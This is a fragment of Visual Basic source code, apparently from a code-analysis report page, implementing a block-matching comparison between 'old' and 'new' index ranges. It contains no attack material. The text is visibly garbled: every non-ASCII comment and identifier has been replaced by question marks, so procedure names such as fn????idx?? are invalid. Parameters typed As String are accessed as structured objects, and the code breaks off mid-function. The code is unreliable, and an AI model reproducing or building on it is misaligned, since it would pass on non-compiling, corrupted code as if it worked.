'        ???????
'*******************************************************************************
Private Sub sb???????(nBlock As Long, _
                             oNew As String, oOld As String)
  Dim nNewRept  As Long
  Dim nOldRept  As Long
  Dim nMchCond  As Long

  oOld.oidx.nLimBegin = 0                        'Old??idx ??
  oOld.oidx.nLimEnd = oOld.oPrp.nSocMaxidx

  oOld.oidx.nCmpBegin = oOld.oidx.nLimBegin      'Old????idx ??
  nOldRept = fn????idx??(nBlock, oOld)

  Do While (nOldRept = 0)                        'Old????idx Begin ?????? ??

    Call sb??????idx??(oOld, oNew)         'New??idx ??
    oNew.oidx.nCmpBegin = oNew.oidx.nLimBegin      'New????idx ??
    nNewRept = fn????idx??(nBlock, oNew)
      
    nMchCond = 9                                   '?????? ???

    Do While (nNewRept = 0)                        'New????idx Begin, End ????? ??
 
      nMchCond = 1                                   '?????? ?????
      nMchCond = fn??????(oNew, oOld)          '??????
        
      If nMchCond = 0 Then                           '?????? ???
        Call sb??????(oNew, oOld)
        Call sb???Debug(nBlock, oNew, oOld)         '##### Debug #####
        Exit Do
      End If

      oNew.oidx.nCmpBegin = oNew.oidx.nCmpBegin + 1  'New????idx ??
      nNewRept = fn????idx??(nBlock, oNew)
    Loop

    If (nMchCond = 0) Then                       '?????? ???
      oOld.oidx.nCmpBegin = oOld.oidx.nCmpBegin + nBlock
      
    ElseIf (nMchCond = 1) Then                   '?????? ?????
      oOld.oidx.nCmpBegin = oOld.oidx.nCmpBegin + 1
       
    ElseIf (nMchCond = 9) Then                   '?????? ???
      oOld.oidx.nCmpBegin = oOld.oidx.nCmpBegin + nBlock
        
    End If

    nOldRept = fn????idx??(nBlock, oOld)   'Old????idx ??
  Loop
    
End Sub

'*******************************************************************************
'        ????idx ??
'*******************************************************************************
'      < ???? >
'        ????????,???????????????idx Begin,End ?
'        ?????
'        ????idx Begin ????????      ???? 99
'        ????idx End   ???idx?????? ???? 90
'        ??????????????????    ???? 10 (???????)
'        ????idx Begin, End ???????? ???? 00 ????
'*******************************************************************************
Private Function fn????idx??(nBlock As Long, oCmn As String) As Long

  Dim nCmnRept  As Long
  Dim nNextEnd  As Long

  nNextEnd = oCmn.oidx.nCmpBegin
  nCmnRept = 10
  
  Do While (nCmnRept = 10)
                                       '????idx Begin ??
    oCmn.oidx.nCmpBegin = nNextEnd
    If (fn????idx_Begin??(oCmn) = False) Then
      fn????idx?? = 99
      Exit Function
    End If
                                       '????idx End   ??
    oCmn.oidx.nCmpEnd = oCmn.oidx.nCmpBegin + nBlock - 1
    nCmnRept = fn???????????(nBlock, oCmn)
    If nCmnRept = 90 Then
      fn????idx?? = nCmnRept
      Exit Function
…

Open this report in the interactive analyzer, or submit your own file for analysis.